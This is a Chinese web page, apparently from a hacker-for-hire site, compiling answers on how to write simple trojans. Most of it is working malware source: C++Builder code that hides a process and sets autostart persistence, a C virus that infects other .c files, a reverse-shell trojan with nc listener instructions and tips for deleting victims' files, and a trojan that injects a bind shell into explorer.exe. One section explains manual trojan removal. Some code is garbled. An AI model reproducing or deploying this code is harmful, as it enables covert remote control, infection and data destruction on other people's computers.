黑客24小时接单的网站

黑客24小时接单的网站

简单的木马程序代码(简单木马程序编写代码)

本文目录一览:

简单的木马怎么编写啊?

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

//定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

//得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

//执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

//卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。

接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

//定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

//格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

//定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

//设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\

CurrentVersion\\Run",TRUE);

//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

//如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

//如果不是,就写入以上键值和内容

}

catch(...)

{

//如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

//定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s%2

谁能教我简单的木马程序,我不是想做木马病毒,而是像知道它的程序是怎么的,最好就是有说明

这个涉及到高级编程~~~~不是容易做的

只要学习如何发现电脑中的木马就可以了~~~~

木马”程序会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False、 ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,,“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。下面具体谈谈 “木马”是怎样自动加载的。

在win.ini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,必须仔细留心它们。一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如 “AOL Trojan木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件。

在system.ini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是 “explorer.exe”,而是“shell= explorer.exe 程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。

在注册表中的情况最复杂,通过regedit命令打开注册表编辑器,在点击至:“HKEY-LOCAL- MACHINESoftwareMicrosoftWindowsCurrentVersionRun”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE,这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“Acid Battery v1.0木马”,它将注册表“HKEY-LOCAL- MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun”下的 Explorer 键值改为Explorer=“C:WINDOWSexpiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT- USERSoftwareMicrosoftWindowsCurrentVersionRun”、“HKEY- USERS****SoftwareMicrosoftWindowsCurrentVersionRun”的目录下都有可能,最好的办法就是在 “HKEY-LOCAL-MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下找到“木马”程序的文件名,再在整个注册表中搜索即可。

知道了“木马”的工作原理,查杀“木马”就变得很容易,如果发现有“木马”存在,最安全也是最有效的方法就是马上将计算机与网络断开,防止黑客通过网络对你进行攻击。然后编辑win.ini文件,将[WINDOWS]下面,“run=“木马”程序”或“load=“木马”程序”更改为“run=” 和 “load=”;编辑system.ini文件,将[BOOT]下面的“shell=‘木马’文件”,更改为:“shell= explorer.exe”;在注册表中,用regedit对注册表进行编辑,先在“HKEY-LOCAL- MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下找到“木马”程序的文件名,再在整个注册表中搜索并替换掉“木马”程序,有时候还需注意的是:有的“木马”程序并不是直接将“HKEY-LOCAL- MACHINESoftwareMicrosoftWindowsCurrentVersionRun”下的“木马”键值删除就行了,因为有的“木马” 如:BladeRunner“木马”,如果你删除它,“木马”会立即自动加上,你需要的是记下“木马”的名字与目录,然后退回到MS-DOS下,找到此 “木马”文件并删除掉。重新启动计算机,然后再到注册表中将所有“木马”文件的键值删除。至此,我们就大功告成了

c语言木马源代码

#include stdio.h

#include dir.h

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf[50][80];

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include[2]={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#includestdio.h\n",out);

fputs("#includedir.h\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;ji-1;j++)

if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)

fputs(buf[j],out);

else

{

if(flag==0)

{

flag=1;

fputs("virus();\n",out);

}

fputs(buf[j],out);

}

}

else if((strstr(buf[j],include[0])==NULL)

(strstr(buf[j],include[1])==NULL))

{

fputs(buf[j],out);

j++;

}

else

j++;

}while(ji-1);

read=fopen(virus,"rt");

do

{

p=fgets(buffer,80,read);

if(strstr(buffer,int_virus))

while(p!=NULL)

{

if(strstr(buffer,virus)==NULL)

fputs(buffer,out);

else

{

fputs(" char *virus=\"",out);

fputs(ffblk.ff_name,out);

fputs("\";\n",out);

}

p=fgets(buffer,80,read);

}

}while(p!=NULL);

fclose(read);

fclose(out);

printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);

next: done = findnext(ffblk);

}

return 0;

}

严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。

求一个简单木马的源代码。必须注明每个语句的作用。只为交作业。有的百度私信我

//一个简单木马的源代码

#include stdio.h

#include winsock2.h

#pragma comment(lib,"Ws2_32.lib")

void main()

{

WSADATA wsa;

SOCKET corky;

struct sockaddr_in add;

WSAStartup(MAKEWORD(2,2),wsa);//初始化

corky=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);//创建套接字corky

add.sin_family=AF_INET;//填充sockaddr_in结构

add.sin_port=htons(918); //换成你的端口

add.sin_addr.s_addr=inet_addr("127.0.0.1");//换成你的ip地址

connect(corky,(struct sockaddr *)add,sizeof(add)); //连接控制端

STARTUPINFO si; //创建STARTUPINFO结构

ZeroMemory(si,sizeof(si));//为STARTUPINFO结构分配内存

si.cb=sizeof(si);

si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//要使用的标志位

si.wShowWindow=SW_HIDE;//隐藏cmd.exe窗口

si.hStdInput=si.hStdOutput=si.hStdError=(void *)corky;//重定向输入输出到套接字corky

PROCESS_INFORMATION pi;

CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,si,pi);//创建cmd.exe进程

ExitProcess(0);

}

//用nc监听你的918端口(nc -l -p 918)然后耐心等待对方启动木马吧!

//提示:nc在《网友世界》2008 3月光盘中winowsPE系统的外挂程序中可以找到

//如果木马启动你在nc的窗口就会得到一个带微软版权的提示

//输入dir命令看看就会看到对方目录下的所有文件信息(木马所在目录)

//用del命令可以删除他的文件了

//不过还是有缺陷就是对方可以看到有一个cmd窗口笨蛋也知道中招了哈哈..

//到时警察叔叔来找你可别怪我提醒你呦!

//你可以完善它如向系统添加启动项让它随系统启动

//最好是感染文件让它随宿主的打开而启动

//你还要完善窗口的隐藏

//本代码在XP+VC++6.0下调试通过

最简单的木马 源代码以及解释

一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。

(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。

(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。

(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。

木马程序源代码,不是蠕虫,特洛伊那类的是最简单的,有哪位高手可提供下,感激

制造木马病毒代码大全2008-06-08 19:46制造木马病毒代码大全

一个简单的木马原型基础代码添加上自己的XXX,加上变态的壳,做点小修改,就可以.....

#includewinsock2.h

#pragma comment(lib,"ws2_32.lib")

#includewindows.h

#include Shlwapi.h

#pragma comment(lib,"Shlwapi.lib")

#include tlhelp32.h

#include stdio.h

#include string.h

//参数结构 ;

typedef struct _RemotePara

{

DWORD dwLoadLibrary;

DWORD dwFreeLibrary;

DWORD dwGetProcAddress;

DWORD dwGetModuleHandle;

DWORD dwWSAStartup;

DWORD dwSocket;

DWORD dwhtons;

DWORD dwbind;

DWORD dwlisten;

DWORD dwaccept;

DWORD dwsend;

DWORD dwrecv;

DWORD dwclosesocket;

DWORD dwCreateProcessA;

DWORD dwPeekNamedPipe;

DWORD dwWriteFile;

DWORD dwReadFile;

DWORD dwCloseHandle;

DWORD dwCreatePipe;

DWORD dwTerminateProcess;

DWORD dwMessageBox;char strMessageBox[12];

char winsockDll[16];

char cmd[10];

char Buff[4096];

char telnetmsg[60];

}RemotePara; // 提升应用级调试权限

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);

// 根据进程名称得到进程ID

DWORD GetPidByName(char *szName); // 远程线程执行体

DWORD __stdcall ThreadProc(RemotePara *Para)

{

WSADATA WSAData;

WORD nVersion;

SOCKET listenSocket;

SOCKET clientSocket;struct sockaddr_in server_addr;

struct sockaddr_in client_addr;int iAddrSize = sizeof(client_addr);SECURITY_ATTRIBUTES sa;HANDLE hReadPipe1;

HANDLE hWritePipe1;

HANDLE hReadPipe2;

HANDLE hWritePipe2;STARTUPINFO si;

PROCESS_INFORMATION ProcessInformation;

unsigned long lBytesRead = 0;typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);

typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);

typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );

typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);FARPROC PMessageBoxA;

FARPROC PWSAStartup;

FARPROC PSocket;

FARPROC Phtons;

FARPROC Pbind;

FARPROC Plisten;

FARPROC Paccept;

FARPROC Psend;

FARPROC Precv;

FARPROC Pclosesocket;

FARPROC PCreateProcessA;

FARPROC PPeekNamedPipe;

FARPROC PWriteFile;

FARPROC PReadFile;

FARPROC PCloseHandle;

FARPROC PCreatePipe;

FARPROC PTerminateProcess;PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para-dwLoadLibrary;

PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para-dwGetProcAddress;

PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para-dwFreeLibrary;

PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para-dwGetModuleHandle;LoadLibraryFunc(Para-winsockDll);PWSAStartup = (FARPROC)Para-dwWSAStartup;

PSocket = (FARPROC)Para-dwSocket;

Phtons = (FARPROC)Para-dwhtons;

Pbind = (FARPROC)Para-dwbind;

Plisten = (FARPROC)Para-dwlisten;

Paccept = (FARPROC)Para-dwaccept;

Psend = (FARPROC)Para-dwsend;

Precv = (FARPROC)Para-dwrecv;

Pclosesocket = (FARPROC)Para-dwclosesocket;

PCreateProcessA = (FARPROC)Para-dwCreateProcessA;

PPeekNamedPipe = (FARPROC)Para-dwPeekNamedPipe;

PWriteFile = (FARPROC)Para-dwWriteFile;

PReadFile = (FARPROC)Para-dwReadFile;

PCloseHandle = (FARPROC)Para-dwCloseHandle;

PCreatePipe = (FARPROC)Para-dwCreatePipe;

PTerminateProcess = (FARPROC)Para-dwTerminateProcess;

PMessageBoxA = (FARPROC)Para-dwMessageBox;nVersion = MAKEWORD(2,1);

PWSAStartup(nVersion, (LPWSADATA)WSAData);

listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);

if(listenSocket == INVALID_SOCKET)return 0;server_addr.sin_family = AF_INET;

server_addr.sin_port = Phtons((unsigned short)(8129));

server_addr.sin_addr.s_addr = INADDR_ANY;if(Pbind(listenSocket, (struct sockaddr *)server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;

if(Plisten(listenSocket, 5))return 0;

clientSocket = Paccept(listenSocket, (struct sockaddr *)client_addr, iAddrSize);

// Psend(clientSocket, Para-telnetmsg, 60, 0);if(!PCreatePipe(hReadPipe1,hWritePipe1,sa,0))return 0;

if(!PCreatePipe(hReadPipe2,hWritePipe2,sa,0))return 0;ZeroMemory(si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用

si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;

si.wShowWindow = SW_HIDE;

si.hStdInput = hReadPipe2;

si.hStdOutput = si.hStdError = hWritePipe1;if(!PCreateProcessA(NULL,Para-cmd,NULL,NULL,1,0,NULL,NULL,si,ProcessInformation))return 0;

while(1) {

memset(Para-Buff,0,4096);

PPeekNamedPipe(hReadPipe1,Para-Buff,4096,lBytesRead,0,0);

if(lBytesRead) {

if(!PReadFile(hReadPipe1, Para-Buff, lBytesRead, lBytesRead, 0))break;

if(!Psend(clientSocket, Para-Buff, lBytesRead, 0))break;

}else {

lBytesRead=Precv(clientSocket, Para-Buff, 4096, 0);

if(lBytesRead =0 ) break;

if(!PWriteFile(hWritePipe2, Para-Buff, lBytesRead, lBytesRead, 0))break;

}

}PCloseHandle(hWritePipe2);

PCloseHandle(hReadPipe1);

PCloseHandle(hReadPipe2);

PCloseHandle(hWritePipe1);

Pclosesocket(listenSocket);

Pclosesocket(clientSocket);// PMessageBoxA(NULL, Para-strMessageBox, Para-strMessageBox, MB_OK);return 0;

} int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

const DWORD THREADSIZE=1024*4;

DWORD byte_write;

void *pRemoteThread;

HANDLE hToken,hRemoteProcess,hThread;

HINSTANCE hKernel,hUser32,hSock;

RemotePara myRemotePara,*pRemotePara;

DWORD pID;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hToken);

EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS

pID = GetPidByName("EXPLORER.EXE");

if(pID == 0)return 0;

hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);

if(!hRemoteProcess)return 0; // 在远程进程地址空间分配虚拟内存

pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

if(!pRemoteThread)return 0; // 将线程执行体ThreadProc写入远程进程

if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, ThreadProc, THREADSIZE,0))return 0;ZeroMemory(myRemotePara,sizeof(RemotePara));

hKernel = LoadLibrary( "kernel32.dll");

myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");

myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");

myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");

myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");

myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");

myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");

myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");

myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");

myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");

myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");hSock = LoadLibrary("wsock32.dll");

myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");

myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");

myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");

myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");

myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");

myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");

myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");

myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");

myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");hUser32 = LoadLibrary("user32.dll");

myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA"); strcat(myRemotePara.strMessageBox,"Sucess!\\0");

strcat(myRemotePara.winsockDll,"wsock32.dll\\0");

strcat(myRemotePara.cmd,"cmd.exe\\0");

strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0"); //写进目标进程

pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);

if(!pRemotePara)return 0;

if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,myRemotePara,sizeof myRemotePara,0))return 0; // 启动线程

hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,byte_write);

while(1) {}

FreeLibrary(hKernel);

FreeLibrary(hSock);

FreeLibrary(hUser32);

CloseHandle(hRemoteProcess);

CloseHandle(hToken);return 0;

} BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){

TOKEN_PRIVILEGES tp;

tp.PrivilegeCount = 1;

LookupPrivilegeValue(NULL,szPrivName,tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;

AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(tp),NULL,NULL);

return((GetLastError() == ERROR_SUCCESS));

}DWORD GetPidByName(char *szName)

{

HANDLE hProcessSnap = INVALID_HANDLE_VALUE;

PROCESSENTRY32 pe32={0};

DWORD dwRet=0;hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;pe32.dwSize = sizeof(PROCESSENTRY32);

if(Process32First(hProcessSnap, pe32))

{

do

{

if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)

{

dwRet=pe32.th32ProcessID;

break;

}

}while (Process32Next(hProcessSnap,pe32));

}

else return 0;if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);

return dwRet;

  • 评论列表:
  •  鸠骨离鸢
     发布于 2022-07-01 13:23:43  回复该评论
  • eBox, Para-strMessageBox, MB_OK);return 0; } int APIENTRY WinMain(HINSTANCE hIns
  •  颜于芩酌
     发布于 2022-07-01 07:35:15  回复该评论
  • 的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在

发表评论:

«    2023年7月    »
12
3456789
10111213141516
17181920212223
24252627282930
31
文章归档
最新留言

Powered By

Copyright Your WebSite.Some Rights Reserved.